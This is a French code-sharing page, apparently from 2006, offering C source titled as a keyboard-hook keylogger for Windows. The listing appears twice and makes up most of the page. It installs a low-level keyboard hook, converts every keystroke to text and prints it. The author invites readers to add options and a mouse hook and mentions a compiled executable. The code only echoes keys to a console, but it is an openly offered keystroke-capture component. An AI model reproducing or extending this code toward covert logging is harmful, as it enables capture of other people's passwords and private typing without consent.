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KEYLOGGER HOOK CLAVIER (SANS DLL)
Information sur la source
Description
Voila j'ai fais un hook clavier de base sans aucune dll vous pouvez y rajouter vos options le code se compile en simple fichier source sous dev c++, ce code est libre si vous l'améliorer tenez moi au courrant ! je propose de rajouter un hook souris ... ps : l' executable est disponible dans le .ZIP.
Source
- #include <windows.h>
- #include <stdio.h>
- #include <stdlib.h>
-
- // Global instance du hook
- HHOOK hKeyHook;
-
- // Gestion du hook
- __declspec(dllexport) LRESULT CALLBACK KeyEvent (int nCode, WPARAM wParam, LPARAM lParam ) {
-
- // Action du clavier et les touches tappées
- if ((nCode == HC_ACTION) && (wParam == WM_KEYDOWN)) {
-
- // conversion du code -> ascii
- BYTE KeyState[256];
- WORD wBuf;
- char ch;
-
- // Structure pour récupération des informations
- KBDLLHOOKSTRUCT hooked = *((KBDLLHOOKSTRUCT*)lParam);
-
- /* Traitement récupération dec codes des touches */
-
- // Etat du clavier
- GetKeyboardState(KeyState);
-
- // Conversion code > ascii
- ToAscii(hooked.vkCode, hooked.scanCode ,KeyState,&wBuf,0);
-
- //on rajoute les touches non traitées par le hook
- switch(hooked.vkCode){
-
- case 9 :{printf("<TAB>");break;}
- case 13 :{printf("<ENTER>");break;}
- case VK_BACK :{printf("<delete>");break;}
- case VK_DELETE: {printf("<Suppr>");break;}
-
- /* vous pouvez rajouter vos traitements perso ici ! */
-
- default : { // on affiche les touches tappées
- ch=((char)wBuf);
- printf("%c",ch);
- break;
- }
-
- }
-
-
- }
- // Renvoi des messages au sytème
- return CallNextHookEx(hKeyHook, nCode,wParam,lParam);
- }
-
-
- // Boucle des messages
- void MsgLoop()
- {
- MSG message;
- while (GetMessage(&message,NULL,0,0)) {
- TranslateMessage( &message );
- DispatchMessage( &message );
- }
- }
-
-
- DWORD WINAPI KeyLogger(LPVOID lpParameter)
- {
- // Récuperation de l'instance de notre executable
- HINSTANCE hExe = GetModuleHandle(NULL);
- if (!hExe) return 1;
-
- // on demarre le hook
- hKeyHook = SetWindowsHookEx (WH_KEYBOARD_LL,(HOOKPROC) KeyEvent,hExe, NULL);
- if(hKeyHook==NULL)
- printf("[le hook clavier a plante !]\n");
- else
- printf("[hook clavier en cours ...]\n");
-
- // Boucle des messages
- MsgLoop();
-
- // on desactive le hook
- if(UnhookWindowsHookEx(hKeyHook)==0)
- printf("[desactivation du Hook echoue !]");
- else
- printf("[la desactivation du hook c'est passee correctement]");
-
- return 0;
- }
-
-
- int main(int argc, char *argv[])
- {
- // initialisation des options pour la fonction CreateThread
- HANDLE hThread;
- DWORD dwThread;
- DWORD exThread;
- printf("\n[Exemple de Hook Clavier] by tOnyh2\n");
-
- // on crée le thread qui va démarrer le hook
- hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE) KeyLogger, (LPVOID)NULL, NULL, &dwThread);
-
- if (hThread) {
- // Attente à l'infini
- return WaitForSingleObject(hThread,INFINITE);
- } else {
- return 0;
- }
- }
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
// Global instance du hook
HHOOK hKeyHook;
// Gestion du hook
__declspec(dllexport) LRESULT CALLBACK KeyEvent (int nCode, WPARAM wParam, LPARAM lParam ) {
// Action du clavier et les touches tappées
if ((nCode == HC_ACTION) && (wParam == WM_KEYDOWN)) {
// conversion du code -> ascii
BYTE KeyState[256];
WORD wBuf;
char ch;
// Structure pour récupération des informations
KBDLLHOOKSTRUCT hooked = *((KBDLLHOOKSTRUCT*)lParam);
/* Traitement récupération dec codes des touches */
// Etat du clavier
GetKeyboardState(KeyState);
// Conversion code > ascii
ToAscii(hooked.vkCode, hooked.scanCode ,KeyState,&wBuf,0);
//on rajoute les touches non traitées par le hook
switch(hooked.vkCode){
case 9 :{printf("<TAB>");break;}
case 13 :{printf("<ENTER>");break;}
case VK_BACK :{printf("<delete>");break;}
case VK_DELETE: {printf("<Suppr>");break;}
/* vous pouvez rajouter vos traitements perso ici ! */
default : { // on affiche les touches tappées
ch=((char)wBuf);
printf("%c",ch);
break;
}
}
}
// Renvoi des messages au sytème
return CallNextHookEx(hKeyHook, nCode,wParam,lParam);
}
// Boucle des messages
void MsgLoop()
{
MSG message;
while (GetMessage(&message,NULL,0,0)) {
TranslateMessage( &message );
DispatchMessage( &message );
}
}
DWORD WINAPI KeyLogger(LPVOID lpParameter)
{
// Récuperation de l'instance de notre executable
HINSTANCE hExe = GetModuleHandle(NULL);
if (!hExe) return 1;
// on demarre le hook
hKeyHook = SetWindowsHookEx (WH_KEYBOARD_LL,(HOOKPROC) KeyEvent,hExe, NULL);
if(hKeyHook==NULL)
printf("[le hook clavier a plante !]\n");
else
printf("[hook clavier en cours ...]\n");
// Boucle des messages
MsgLoop();
// on desactive le hook
if(UnhookWindowsHookEx(hKeyHook)==0)
printf("[desactivation du Hook echoue !]");
else
printf("[la desactivation du hook c'est passee correctement]");
return 0;
}
int main(int argc, char *argv[])
{
// initialisation des options pour la fonction CreateThread
HANDLE hThread;
DWORD dwThread;
DWORD exThread;
printf("\n[Exemple de Hook Clavier] by tOnyh2\n");
// on crée le thread qui va démarrer le hook
hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE) KeyLogger, (LPVOID)NULL, NULL, &dwThread);
if (hThread) {
// Attente à l'infini
return WaitForSingleObject(hThread,INFINITE);
} else {
return 0;
}
}
Conclusion
rien de serieux prévu pour l'instant... ^^
Historique
- 17 octobre 2006 14:34:44 :
- .
- 17 octobre 2006 14:36:30 :
- .
- 17 octobre 2006 23:37:14 :
- suppression d'une condition inutile au hook
Sources du même auteur
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Commentaires et avis
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